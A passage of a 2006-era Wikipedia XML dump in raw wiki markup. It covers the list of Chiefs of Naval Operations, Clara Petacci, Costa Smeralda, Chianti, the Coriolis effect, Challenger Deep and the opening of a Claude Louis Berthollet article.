| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[Forrest P. Sherman]]    
|  || ([[November 2|Nov. 2]] [[1949]] 
| &amp;ndash; &amp;nbsp; [[July 22|July 22]] [[1951]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[William M. Fechteler]]  
|  || ([[August 16|Aug. 16]] [[1951]] 
| &amp;ndash; &amp;nbsp; [[August 17|Aug. 17]] [[1953]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[Robert B. Carney]]     
|  || ([[August 17|Aug. 17]] [[1953]] 
| &amp;ndash; &amp;nbsp; [[August 17|Aug. 17]] [[1955]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[Arleigh A. Burke]]     
|  || ([[August 17|Aug. 17]] [[1955]] 
| &amp;ndash; &amp;nbsp; [[August 1|Aug. 1]] [[1961]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[George W. Anderson Jr.]] 
|  || ([[August 1|Aug. 1]] [[1961]] 
| &amp;ndash; &amp;nbsp; [[August 1|Aug. 1]] [[1963]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[David L. McDonald]]    
|  || ([[August 1|Aug. 1]] [[1963]] 
| &amp;ndash; &amp;nbsp; [[August 1|Aug. 1]] [[1967]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[Thomas H. Moorer]]     
|  || ([[August 1|Aug. 1]] [[1967]] 
| &amp;ndash; &amp;nbsp; [[July 1|July 1]] [[1970]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[Elmo R. Zumwalt]]     
|  || ([[July 1|July 1]] [[1970]] 
| &amp;ndash; &amp;nbsp; [[June 29|June 29]] [[1974]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[James L. Holloway, Jr.]]
|  || ([[June 29|June 29]] [[1974]] 
| &amp;ndash; &amp;nbsp; [[July 1|July 1]] [[1978]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[Thomas B. Hayward]]
|  || ([[July 1|July 1]] [[1978]] 
| &amp;ndash; &amp;nbsp; [[June 30|June 30]] [[1982]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[James D. Watkins]]     
|  || ([[June 30|June 30]] [[1982]] 
| &amp;ndash; &amp;nbsp; [[June 30|June 30]] [[1986]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[Carlisle A.H. Trost]]  
|  || ([[July 1|July 1]] [[1986]] 
| &amp;ndash; &amp;nbsp; [[June 29|June 29]] [[1990]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[Frank B. Kelso II]]    
|  || ([[June 29|June 29]] [[1990]] 
| &amp;ndash; &amp;nbsp; [[April 23|April 23]] [[1994]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[Jeremy M. Boorda]]     
|  || ([[April 23|April 23]] [[1994]] 
| &amp;ndash; &amp;nbsp; [[May 16|May 16]] [[1996]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[Jay L. Johnson]]       
|  || ([[May 16|May 16]] [[1996]] 
| &amp;ndash; &amp;nbsp; [[July 21|July 21]] [[2000]])
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[Vern Clark]]           
|  || ([[July 21|July 21]] [[2000]] 
| &amp;ndash; &amp;nbsp; [[July 22|July 22]] [[2005]]) 
|-
| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;bull; || Admiral [[Michael Mullen]]           
|  || ([[July 22|July 22]] [[2005]]
| &amp;ndash; &amp;nbsp; &amp;nbsp; &amp;nbsp; [[as of 2006|present]])
|}

==References==
*[http://www.navy.mil/navydata/leadership/cno_resp.asp Chief of Naval Operations: Responsibilites], USN.

[[Category:United States Navy]]
[[Category:Joint Chiefs of Staff]]
[[de:Chief of Naval Operations]]</text>
    </revision>
  </page>
  <page>
    <title>Clara Petacci</title>
    <id>7775</id>
    <revision>
      <id>38299865</id>
      <timestamp>2006-02-05T11:37:51Z</timestamp>
      <contributor>
        <ip>203.214.50.12</ip>
      </contributor>
      <text xml:space="preserve">&lt;!-- Image with unknown copyright status removed: [[Image:Clara_Petacci.jpg|frame|right|Clara Petacci]] --&gt;

'''Clara Petacci''' ('''Claretta Petacci''') ([[February 28]], [[1912]] &amp;ndash; [[April 28]], [[1945]]) was a young [[Rome|Roman]] girl from an upper-class family who became [[Benito Mussolini]]'s mistress. She was twenty-nine years his junior.

During Mussolini's capture by partisans in April [[1945]] it is said that Petacci was offered the opportunity to escape, but she firmly refused and instead tried to protect Mussolini with her body. The Duce was then shot immediately after her. On the following day, [[April 29]], [[1945]], at the Piazzale Loreto in [[Milan]], Mussolini and Petacci's bodies, along with four others, were hanged upside down at an Esso gas station and photographed as a crowd vented their rage upon them.

Petacci is apparently respectfully considered in Italy; without reference to politics, but only as a woman in love who did not abandon him in times of trouble.


==See also==
*[[Margherita Sarfatti]] for one of Mussolini's earlier mistresses

==Further Reading==
* Nicholas Farrell, &lt;I&gt;Mussolini: A New Life&lt;/I&gt; (Phoenix Press, London, 2003) ISBN: 1842121235
* Ray Moseley, &lt;I&gt;Mussolini: The Last 600 Days of &lt;B&gt;Il Duce&lt;/B&gt;&lt;/I&gt; (Taylor Trade Publishing, Dallas, 2004) ISBN: 1589790952


[[Category:1912 births|Petacci, Clara]]
[[Category:1945 deaths|Petacci, Clara]]
[[Category:Firearm deaths|Petacci, Clara]]

[[de:Clara Petacci]]
[[es:Clara Petacci]]
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    </revision>
  </page>
  <page>
    <title>CVBG</title>
    <id>7778</id>
    <revision>
      <id>15905828</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Carrier battle group]]
</text>
    </revision>
  </page>
  <page>
    <title>Costa Smeralda</title>
    <id>7780</id>
    <revision>
      <id>38181563</id>
      <timestamp>2006-02-04T19:32:44Z</timestamp>
      <contributor>
        <ip>69.109.61.92</ip>
      </contributor>
      <text xml:space="preserve">'''Costa Smeralda''' (&quot;Emerald Coast&quot;) is a [[coast]]al area in northern [[Sardinia]], 55 km long and covering more than 30&amp;nbsp;km&amp;sup2;, with enchanting [[beach]]es and a system of villages built according to an extremely detailed [[urban planning|urban plan]]. The area is a luxurious exclusive [[tourism|tourist]] destination, with high affluence of European and Arabian VIPs from the entertainment, politics and industry.  

The main towns and villages in the area are [[Arzachena]], [[Olbia]], [[Porto Cervo]], [[Liscia di Vacca]], [[Capriccioli]] and [[Romazzino]].

Annually in [[September]] the ''Sardinia Cup'' [[sailing]] [[regatta]] is held off the coast, usually featuring famous boats.

[[archaeology|Achaeological]] sites include Li Muri, Nuragici People's &quot;Tomba dei Giganti&quot; (Giants' Tomb).

The development of the area started in [[1961]], and was financed by a consortium of companies. The president of the consortium and representative figure was Prince [[Aga Khan IV|Karim Aga Khan]]. Famous [[architect]]s involved in the project included Busiri-Vici and Vietti.

==See also==
*[[tourist destinations of Sardinia]]

==External links==
*[http://www.porto-cervo-realestate.com/images/map-cs.jpg Map of Costa Smeralda]
*[http://www.travellingitaly.info/2005/12/03/sardinia-emerald-coast-itineraries/ Emerald coast itineraries]

[[Category:Beaches of Italy]]

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[[pl:Costa Smeralda]]</text>
    </revision>
  </page>
  <page>
    <title>Chianti</title>
    <id>7781</id>
    <revision>
      <id>42094506</id>
      <timestamp>2006-03-03T20:10:22Z</timestamp>
      <contributor>
        <username>Smokey Russell</username>
        <id>1024919</id>
      </contributor>
      <text xml:space="preserve">{{merge|Italian wine}}

'''Chianti''' is [[Italy]]'s most famous red [[wine]]. It used to be easily identified by its squat [[bottle]] enclosed in a straw basket, called ''[[fiasco]]'' (&quot;flask&quot;).

It is produced in [[Tuscany]], in strictly delimited areas among the provinces of [[Province of Florence|Florence]], [[Province of Siena|Siena]], [[Province of Arezzo|Arezzo]] and [[Province of Grosseto|Grosseto]].  It is based mainly on [[Sangiovese]] grapes but also includes other [[List of grape varieties|varieties]]. Chianti is a [[Denominazione di Origine Controllata|DOC]], but corresponds to a much larger area than the region originally known as Chianti. Wine from this smaller region is labeled Chianti Classico and is a [[DOCG]]. It typically has a picture of a black rooster (known in Italian as a ''gallo nero'') on the neck of the [[bottle]]. Chianti Classico that meets slightly more stringent requirements, primarily with respect to aging, may be labelled Chianti Classico Riserva.

Chianti is not the only traditional wine made in Tuscany, and there are also new wines, usually based on sangiovese and some popular french grape that are usually dubbed &quot;[[Super Tuscan|Super Tuscans]]&quot;.

The word &quot;Chianti&quot; is used rather more loosely in the United States, to the chagrin of European wine-makers.

== Chianti Classico region ==

The region consists of five main communities

*Greve in Chianti
**Montefioralle
**Convertoie
**Montegonzi
**Canonica
**Castello di Uzzano
**Castello di Verrazano
*Radda in Chianti
**Volpaia
*Castellina in Chianti
*San Casciano Val di Pesa
**Mercatale Val di Pesa
**Faltignano
**Campoli
*Gaiole in Chianti
**Castello di Brolio

==Trivia==
The wine had a famous mention in a popular film ''[[Silence of the Lambs]]'' in the [[catchphrase]] &quot;I ate his liver with some [[fava bean]]s and a nice Chianti.&quot;

== External links ==
*[http://de.wikipedia.org/wiki/Chianti_(Gebiet) Pictures of the Chianti Classico region]
*[http://www.lodgephoto.com/galleries/italy-tuscany/chianti/ Photographs of Chianti and Tuscany]
[[Category:Wine regions of Italy]]
[[Category:Italian wines]]
[[de:Chianti (Wein)]]
[[fr:Chianti]]
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[[he:&amp;#1511;&amp;#1497;&amp;#1488;&amp;#1504;&amp;#1496;&amp;#1497;]]
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    </revision>
  </page>
  <page>
    <title>Coriolis effect</title>
    <id>7783</id>
    <revision>
      <id>42105389</id>
      <timestamp>2006-03-03T21:35:23Z</timestamp>
      <contributor>
        <username>William M. Connolley</username>
        <id>8072</id>
      </contributor>
      <comment>done with cleanup?</comment>
      <text xml:space="preserve">
[[Image:Low pressure system over Iceland.jpg|thumb|right|This [[low pressure system]] over Iceland spins counter-clockwise due to the Coriolis effect.]]

The '''Coriolis effect''' is an apparent deflection of a moving object in a [[rotating frame of reference]]. There are examples of this effect in everyday life, such as the direction of [[Cyclone#Structure|rotation of cyclones]]. Due to the effect, cyclones rotate counter-clockwise in the northern hemisphere, and clockwise in the southern hemisphere. However, contrary to popular opinion, it has no noticeable effect on the rotation of water in sinks and [[toilets]] - see the [[#Draining_bathtubs/toilets|toilets/bathtubs section]] below.
The effect is named after [[Gaspard-Gustave Coriolis]], a French scientist, who described it in 1835, though the mathematics appeared in the tidal equations of [[Pierre-Simon Laplace|Laplace]] in 1778.

== Formula ==

The formula for the Coriolis acceleration is

: &lt;math&gt;\mathbf{a}=-2\boldsymbol\omega\times\mathbf{v}&lt;/math&gt;

where (here and below) &lt;math&gt;\mathbf{v}&lt;/math&gt; is the velocity of the particle in the rotating system, and '''&lt;math&gt;\boldsymbol\omega&lt;/math&gt;''' is the angular velocity vector (which has magnitude equal to the rotation rate and points in the direction of the axis of rotation) of the rotating system. The equation may be multiplied by the mass of the relevant object to produce the Coriolis force. See [[Fictitious force]] for a derivation.

Note that this is [[cross product|vector multiplication]].  In non-vector terms: at a given rate of rotation of the observer, the magnitude of the Coriolis acceleration of the object will be proportional to the velocity of the object and also to the sine of the angle between the direction of movement of the object and the axis of rotation.

The ''Coriolis effect'' is the behavior added by the ''Coriolis acceleration''. The formula implies that the Coriolis acceleration is perpendicular both to the direction of the velocity of the moving mass and to the  rotation axis. So in particular:
* if the velocity (as always, in the rotating system) is zero, the Coriolis acceleration is zero
* if the velocity is parallel to the rotation axis, the Coriolis acceleration is zero
* if the velocity is straight (perpendicularly) inward to the axis, the acceleration will follow the direction of rotation
* if the velocity is following the rotation, the acceleration will be (perpendicularly) outward from the axis 

In the formula above, the vectors are 3-d. If we are considering the simpler case of motion restricted to the surface of a rotating turntable the equation simplifies somewhat to:

: &lt;math&gt;-2\omega \boldsymbol k\times (u,v)&lt;/math&gt;

where '''k''' is a unit local vertical and &lt;math&gt;(u,v)&lt;/math&gt; is the velocity 2-d vector in the plane of the turntable. &lt;math&gt;-2\omega \boldsymbol k\times (u,v)&lt;/math&gt; is perpendicular to '''v''', and the equation may be re-written:

:  &lt;math&gt;-2\omega (u,-v)&lt;/math&gt;

When considering atmospheric dynamics, the Coriolis acceleration (strictly a 3-d vector in the first formula above) appears only in the horizontal equations, due to the neglect of products of small quantities and other approximations. The term that appears is then

: &lt;math&gt;- f \mathbf{k} \times (u,v)\,&lt;/math&gt;

where '''k''' is a unit local vertical, &lt;math&gt;f = 2 \omega \sin(\mbox{latitude})&lt;/math&gt; is called the ''Coriolis parameter'' and &lt;math&gt;(u,v)&lt;/math&gt; are the horizontal components of the velocity.

===What the Coriolis force is not===
* The Coriolis force does not depend on the curvature of the Earth, simply its rotation.  However, the strength of the Coriolis force varies with latitude, and that ''is'' due to the Earth being a sphere.
* Coriolis force is not the [[fictitious force|fictitious]] [[Centrifugal force]] given by &lt;math&gt;\omega\times(\omega\times\mathbf{r})&lt;/math&gt;.  However, the co-existence of Coriolis and centrifugal forces makes simple explanations of the effect of Coriolis in isolation difficult.

== Visualisation of the Coriolis effect ==

[[Image:DSCN8987 orangeparabola e.jpg|frame|right|A fluid assuming a parabolic shape as it is rotating]]

To demonstrate the Coriolis effect, a parabolic [[turntable]] can be used. On a flat turntable the centrifugal force, which always acts outwards from the rotation axis, would lead to objects being forced out off the edge. But if the surface of the turntable has the correct parabolic bowl shape, and is rotated at the correct rate, then the component of gravity tangential to the bowl surface will exactly balance the centrifugal force. This allows the Coriolis force to be displayed in isolation.

Discs cut from cylinders of [[dry ice]] can be used as pucks, moving around almost frictionlessly over the surface of the parabolic turntable, allowing effects of Coriolis on dynamic phenomena to show themselves. To get a view of the motions as seen from a rotating point of view, a video-camera is attached to the turntable in such a way that the camera is co-rotating with the turntable.

When the fluid is rotating on a flat turntable, the surface of the fluid naturally assumes the correct [[parabola|parabolic]] shape.  This fact may be exploited in order to make a parabolic turntable, by using a fluid that sets after several hours, such as a synthetic [[resin]].

== Coriolis in Meteorology ==
Perhaps the most important instance of the  Coriolis effect is in the large scale dynamics of the oceans and the atmosphere.  In meteorology, Coriolis effects tend to dominate centrifugal effects, because the latter is usually balanced by an ambient pressure gradient (exactly analogously to the slope on a parabolic turntable).

=== Flow around a low-pressure area ===

[[image:Coriolis_effect10.png|frame|right|Schematic representation of flow around a low-pressure area in the Northern hemisphere. The pressure gradient force is represented by blue arrows, the Coriolis acceleration (always perpendicular to the velocity) by red arrows]]

If a low pressure area forms in the atmosphere, air will tend to flow in towards it, but will be deflected perpendicular to its velocity by the Coriolis acceleration. A system of equilibrium can then establish itself creating circular movement, or a cyclonic flow. 

The force balance is largely between the [[pressure gradient force]] acting towards the low-pressure area and the Coriolis acceleration acting away from the center of the low pressure. Instead of flowing down the gradient, the air tends to flow perpendicular to the air-pressure gradient and forms a cyclonic flow. This is an example of a more general case of [[geostrophic flow]] in which air flows along [[isobar]]s. On a non-rotating planet the air would flow along the straightest possible line, quickly leveling the air pressure. Note that the force balance is thus very different from the case of &quot;inertial circles&quot; (see below) which explains why mid-latitude cycles are larger by an order of magnitude than inertial circle flow would be.

This pattern of deflection, and the direction of movement, is called [[Buys-Ballot's law]]. The pattern of flow is called a [[cyclone]]. In the Northern Hemisphere the direction of movement around a low-pressure area is counterclockwise. In the Southern Hemisphere, the direction of movement is clockwise because the rotational dynamics is a mirror image there. Cyclones cannot form on the equator, and they rarely travel towards the equator, because in the equatorial region the coriolis parameter is small, and exactly zero on the equator.

=== Inertial circles ===

[[Image:Coriolis_effect14.png|frame|right|Schematic representation. Inertial circles of air masses in the absence of other forces, calculated for a wind speed of approximately 50 to 70 m/s.]]

An air or water mass subject moving with speed ''v'' subject only to Coriolis, the force bends the path and constrains the particle to travel in a circular trajectory called an 'inertial circle'.  Since the force is directed at right angles to the motion of the particle, it will move with a constant speed,  and perform a complete circle with frequency ''f''.  The magnitude of the Coriolis force also determines the radius of this circle:
: &lt;math&gt;v/f\,&lt;/math&gt;.

On the Earth, a typical mid-latitude value for ''f'' is 10&lt;sup&gt;&amp;minus;4&lt;/sup&gt;; hence for a typical atmospheric speed of 10 m/s the radius is 100 km, with a period of about 14 hours.   In the ocean, where a typical speed is closer to 10cm/s, the radius of an inertial circle is 1km.  These inertial circles are clockwise in the northern hemisphere (where trajectories are bent to the right) and anti-clockwise in the southern hemisphere.

If the rotating system is a parabolic turntable, then &lt;math&gt;f&lt;/math&gt; is constant and the trajectories are exact circles.  On a rotating planet, &lt;math&gt;f&lt;/math&gt; varies with latitude and the paths of particles do not form exact circles.  Since the parameter ''f'' varies as &lt;math&gt;\sin(latitude)&lt;/math&gt;, the oscillations are smallest at the poles (latitude = &lt;math&gt;\pm 90^\circ&lt;/math&gt;),  and would increase indefinitely at the equator, except the dynamics ceases to apply close to the equator. 

The dynamics of inertial circles are essentially different to mid-latitude [[cyclone]]s.  In the latter case, the Coriolis force (directed out) is in an approximate balance with the  [[pressure gradient force]] (directed inwards), a situation known as [[geostrophic balance]].  In particular, cyclones rotate in the opposite direction to inertial circles.

=== Draining bathtubs/toilets ===
A popular misconception is that the Coriolis effect determines the direction in which bathtubs or toilets drain, and whether water always drains in one direction in the Northern Hemisphere, and in the other direction in the Southern Hemisphere. The Coriolis effect is a few orders of magnitude smaller than other random influences on drain direction, such as the geometry of the sink, toilet, or tub; whether it is flat or tilted; and the direction in which water was initially added to it.  If one takes great care to create a flat circular pool of water with a small, smooth drain; to wait for eddies caused by filling it to die down; and to remove the drain from below (or otherwise remove it without introducing new eddies into the water) &amp;ndash; then it is possible to observe the influence of the Coriolis effect in the direction of the resulting vortex.  There is a good deal of misunderstanding on this point, as most people (including many scientists) do not realize how small the Coriolis effect is on small systems.{{fn|1}}  This is less of a puzzle once one remembers that the earth revolves once per day but that a bathtub takes only minutes to drain. When the water is being drawn towards the plughole, the radius with which it is spinning around it decreases, so its rate of rotation increases from the low background level to a noticeable spin in order to [[Conservation_of_angular_momentum|conserve its angular momentum]] (the same effect as bringing one's arms in on a swivel chair making it spin faster).

=== Length scales and  the [[Rossby number|Rossby Number]] ===
The time, space and velocity scales are important in determining the importance of the Coriolis effect.  Whether rotation is important in a system can be determined by its [[Rossby number]], which is the ratio of the velocity of a system to the product of the Coriolis parameter, and the lengthscale of the motion:
:&lt;math&gt;Ro = \frac{U}{fL}&lt;/math&gt;.  
A small Rossby number signifies a system which is strongly affected by rotation, and a large Rossby number signifies a system in which rotation is unimportant.
An atmospheric system moving at ''U = 10''m/s occupying a spatial distance of ''L=1000''km, has a Rossby number 
:&lt;math&gt;Ro = \frac{10}{10^{-4}\times 1000\times10^3} = 0.1&lt;/math&gt;
A man playing catch may throw the ball at ''U=30''m/s in a garden of length ''L=50''m.  The Rossby number in this case would be
:&lt;math&gt;Ro = \frac{30}{10^{-4}\times 50} = 6000&lt;/math&gt;.
Needless to say, one does not worry about which hemisphere one is in when playing catch in the garden. However, an unguided missile obeys exactly the same physics as a baseball, but may travel far enough and be in the air long enough to notice the effect of Coriolis.  Long range shells landed close to, but to the right of where they were aimed until this was noted (or left if they were fired in the southern hemisphere, though most were not). 

The Rossby number can also tell us about the bathtub. If the lengthscale of the tub is about  ''L=1''m, and the water moves towards the drain at about ''60''cm/s, then the Rossby number is
:&lt;math&gt;Ro = \frac{0.6}{10^{-4}\times 1} = 6 000&lt;/math&gt;.
Thus, the bathtub is, in terms of scales, much like a game of catch, and rotation is likely to be unimportant. 

However, if the experiment is very carefully controlled to remove all other forces from the system, rotation can play a role in bathtub dynamics. An article in the British &quot;Journal of Fluid Mechanics&quot; in the 1930's describes this. The key is to put a few drops of ink into the bathtub water, and observing when the ink stops swirling, meaning the viscosity of the water has dissipated its initial vorticity (or curl; i.e. &lt;math&gt;\nabla \times U = 0&lt;/math&gt;) then, if the plug is extracted ever so slowly so as not to introduce any additional vorticity, then the tub will empty with a counterclockwise swirl in England.

=== Terrestrial effects summarized ===

A summary of Coriolis effects on the Earth's surface. Note that some of these assume that we are considering a &quot;2-d&quot; velocity, in the plane tangential to the planets surface (if this restriction is removed, the latitude dependence of the strength of the Coriolis effect disappears).

* the magnitude of the Coriolis effect changes with the latitude and the speed of the air.
* the Coriolis effect is greatest in polar regions where the surface of the Earth is at right angles to the axis of rotation.
* the Coriolis effect decreases nearer the equator because the surface of the Earth is parallel to the axis of rotation.
* the Coriolis effect causes air masses to turn right in the northern hemisphere and causes air masses to turn left in the southern hemisphere.
* the Coriolis effect gives rise to geostrophic winds.
* a geostropic wind is a wind that occurs when the pressure exerted on the air by the pressure gradient is equal to the opposing Coriolis effect force.
*the effect works in opposite directions in the two hemispheres - an object travelling across the equator, and moving equal distances each side, would find its course deflected in a parabolic arc that would begin and end on the same line of longitude.

The Coriolis effect strongly affects the large-scale [[atmospheric circulation]], leading to the [[Hadley Cell | Hadley]], [[Ferrel cell| Ferrel]], and Polar cells. In the oceans, Coriolis is responsible for the propagation of [[Kelvin wave]]s and the establishment of the [[Sverdrup balance]].

== Coriolis Elsewhere ==

=== Coriolis flow meter ===
A practical application of the Coriolis effect is the [[mass flow meter]], an instrument that measures the [[mass flow rate]] of a fluid through a tube. The operating principle was introduced in 1977 by Micro Motion Inc. Simple flow meters measure [[volumetric flow rate|volume flow rate]], which is proportional to mass flow rate only when the [[density]] of the fluid is constant. If the fluid has varying density, or contains bubbles, then the volume flow rate multiplied by the density is not an accurate measure of the mass flow rate. The  Coriolis mass flow meter operating principle essentially involves rotation, though not through a full circle. It works by inducing a vibration of the tube through which the fluid passes, and subsequently monitoring and analysing the inertial effects that occur in response to the combination of the induced vibration and the mass flow.

=== Molecular physics ===
In polyatomic molecules, the molecule motion can be described by a rigid body rotation and internal vibration of atoms about their equilibrium position. As a result of the vibrations of the atoms, the atoms are in motion relative to the rotating coordinate system of the molecule. Coriolis effects will therefore be present and will cause the atoms to move in a direction perpendicular to the original oscillations. This leads to a mixing in molecular spectra between the rotational and vibrational [[energy level |levels]].

=== Ballistics ===
The Coriolis effects become important in [[external ballistics]] for calculating the trajectories of very long-range [[artillery]] shells. The most famous historical example was the [[Paris gun]], used by the Germans during [[World War I]] to bombard [[Paris]] from a range of about 120 km.

== References ==

=== Physics and meteorology references ===

* Gill, AE 'Atmospher-Ocean dynamics'', Academic Press, 1982.

* [http://www.atmos.washington.edu/~durrand/ Durran, D. R.], 1993: ''[http://www.atmos.washington.edu/~durrand/pdfs/Coriolis_BAMS.pdf Is the Coriolis force really responsible for the inertial oscillation?]'', Bull. Amer. Meteor. Soc., 74, 2179–2184;  Corrigenda. Bulletin of the  American Meteorological Society, 75, 261 

* Durran, D. R., and S. K. Domonkos, 1996: ''[http://www.atmos.washington.edu/~durrand/pdfs/inertial_osc.pdf  An apparatus for demonstrating the inertial oscillation]'', Bulletin of the American Meteorological Society, 77, 557–559. 

*Marion, Jerry B. 1970, ''Classical Dynamics of Particles and Systems'', Academic Press.

* Persson, A., 1998 ''[http://www.ap.cityu.edu.hk/Ap8813/References/Coriolis/Coriolis.pdf How do we Understand the Coriolis Force?]'' Bulletin of the American Meteorological Society 79, 1373-1385. 

*Symon, Keith. 1971, ''Mechanics'', Addison-Wesley

* [http://www.fi.edu/tfi/exhibits/bower/03/earth.html Norman Ph. A.], 2000  ''[http://www.met.utah.edu/reichler/6010/Coriolis/Phillips.pdf  An Explication of the Coriolis Effect]'', Bulletin of the American Meteorological Society: Vol. 81, No. 2, pp. 299–303.

=== Historical references ===
* Grattan-Guinness, I., Ed., 1994: ''Companion Encyclopedia of the History and Philosophy of the Mathematical Sciences''. Vols. I and II. Routledge, 1840 pp. &lt;BR&gt; 1997: ''The Fontana History of the Mathematical Sciences''. Fontana, 817 pp. 710 pp.

* Khrgian, A., 1970: ''Meteorology—A Historical Survey''. Vol. 1. Keter Press, 387 pp.

* Kuhn, T. S., 1977: Energy conservation as an example of simultaneous discovery. ''The Essential Tension, Selected Studies in Scientific Tradition and Change'', University of Chicago Press, 66–104.

* Kutzbach, G., 1979: ''The Thermal Theory of Cyclones. A History of Meteorological Thought in the Nineteenth Century''. Amer. Meteor. Soc., 254 pp.

== External links ==
* http://amsglossary.allenpress.com/glossary/search?id=coriolis-force1
*{{fnb|1}}[http://www.ems.psu.edu/~fraser/Bad/BadCoriolis.html Coriolis effect misconceptions]
*{{fnb|2}}[http://www-paoc.mit.edu/labweb/lab5/gfd_v.htm Rotating turntable setup] The concave turntable used at MIT for educational purposes. 
*{{fnb|3}}[http://www-paoc.mit.edu/labweb/lab1/gfd_1.htm Taylor columns] The counterintuitive behavior of a rotating fluid. Demonstration at MIT for educational purposes 
*[http://met.no/english/topics/nomek_2005/coriolis.pdf The Coriolis Effect] PDF-file. 17 pages. A general discussion by Anders Persson of various aspects of the coriolis effect, including Foucault's Pendulum and Taylor columns.
* Anders Persson [http://www.meteohistory.org/2005historyofmeteorology2/01persson.pdf The Coriolis Effect: Four centuries of conflict between common sense and mathematics, Part I: A history to 1885] History of Meteorology 2 (2005)
* [http://scienceworld.wolfram.com/physics/CoriolisForce.html Coriolis Force] - from [[ScienceWorld]]
* [http://shopinberkeley.com/science/coriolis/ An introduction to the coriolis effect and prevailing wind patterns.] Targeted towards ages 5-18 (pre-university) teachers and students.

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    <title>Coriolis force</title>
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    <title>Challenger Deep</title>
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      <text xml:space="preserve">The '''Challenger Deep''' is the deepest known point in the oceans, [[1 E4 m|10,911 meters]] (35,797 feet) deep at its maximum, near {{coor dm|11|22|N|142|36|E|}}.

==Location==
It is in the [[Pacific Ocean]], off the island of [[Guam]] in the [[Mariana Islands]] group at the southern end of the [[Mariana Trench]]. The closest piece of land is [[Fais Island]], one of the outer islands of [[Yap]], 289 km southwest. [[Guam]] is 306 km to the northeast.

==Name==
The Challenger Deep is named after the [[Royal Navy]] survey ship ''[[HMS Challenger (1931)|Challenger II]],'' which surveyed the trench in [[1951]].

==Depth==
On [[23 January]] [[1960]], the [[US Navy]] [[Bathyscaphe]] [[Bathyscaphe Trieste|''Trieste'']] descended to the ocean floor in the trench. ''Trieste'', which was manned by [[Jacques Piccard]] and Lieutenant [[Don Walsh]], measured the descent as 10,916 meters (35,813 feet) deep. (Later and more accurate measurements in 1995 have found the Challenger Deep to be shallower, at 10,911 m or 35,797 ft.). The descent took almost five hours and the two men spent barely twenty minutes on the ocean floor before undertaking the 3 hour 15 minute ascent. They observed small [[sole (fish)|soles]] and [[flounder]]s and noted the floor consisted of [[diatom]]aceous ooze while on the bottom.

In [[1984]], a [[Japan]]ese survey vessel using a narrow, multi-beam [[echo sounder]] took a measurement of 10,923 meters (35,838 feet).

A Japanese [[robot]]ic deep-sea probe, known as ''[[Kaiko]]'', broke the depth record for unmanned probes when it reached the bottom of the Challenger Deep on [[24 March]], [[1995]]. Created by the Japan Marine Science and Technology Center [http://www.jamstec.go.jp/jamstec-e/index-e.html (JAMSTEC)], it was one of the rare few unmanned deep-sea probes in operation that could dive deeper than about 6000 meters (19,680 feet). Its recorded depth of 10,911 m (35,797 ft) for the Challenger Deep is believed to be the most accurate measurement taken yet. Unfortunately, ''Kaiko'' was lost at sea on [[29 March]], [[2003]], after just more than 8 years of service, when one of the secondary cables snapped during an approaching [[typhoon]]. Currently no other operational vehicle exists that is capable of reaching the same depths, and no other manned vehicle has come to the same depth as ''Trieste''.

==Fauna==
Recently, an analysis of the sediment samples collected by Kaiko before she sank, published in ''Science'', Vol 307, Issue 5710, pq. 689[http://www.sciencemag.org/cgi/content/abstract/307/5710/689], announced the discovery of simple organisms at 10,900 meters water depth.  While similar lifeforms have been known to exist in shallower ocean trenches (&gt;7,000 m) and on the [[abyssal plain]], the lifeforms discovered in the Challenger Deep possibly represent independent [[taxa]] from those shallower ecosystems.

Out of the 432 organisms collected, the overwhelming majority of the sample consisted of simple, soft-shelled [[foraminifera]], with four of the others representing species of the complex, multi-chambered genera ''Leptohalysis'' and ''Reophax''. Overall, 85% of the specimens consisted of organic soft-shelled allogromids. This is unusual compared to samples of sediment-dwelling organisms from other deep-sea environments, where the percentage of organic-walled foraminifera ranges from 5% to 20% of the total. As small organisms with hard calcated shells have trouble growing at extreme (10,000 m) depths because the water at that depth is severely lacking in [[calcium carbonate]], scientists theorize that the preponderance of soft-shelled organisms at the Challenger Deep may have resulted from the typical [[biosphere]] present when the Challenger Deep was shallower than it is now. Over the course of six to nine million years, as the Challenger Deep grew to its present depth, many of the species present in the sediment died out or were unable to adapt to the increasing water pressure and changing environment. The remaining species may have been the ancestors of the Challenger Deep's current denizens.

== External link ==
* [http://www.onr.navy.mil/focus/ocean/vessels/submersibles11.htm Official press release regarding Challenger Deep operation].

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    <title>Claude Louis Berthollet</title>
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      <comment>link to berthollides</comment>
      <text xml:space="preserve">[[Image:Claude_Louis_Berthollet.jpg|thumb|200px|Claude Louis Berthollet]]
'''Claude Louis Berthollet''' ([[December 9]], [[1748]] &amp;ndash; [[November 6]], [[1822]]) was a French [[chemist]].

Claude Louis Berthollet was born in  [[Talloires]], near [[Annecy]], [[France]].

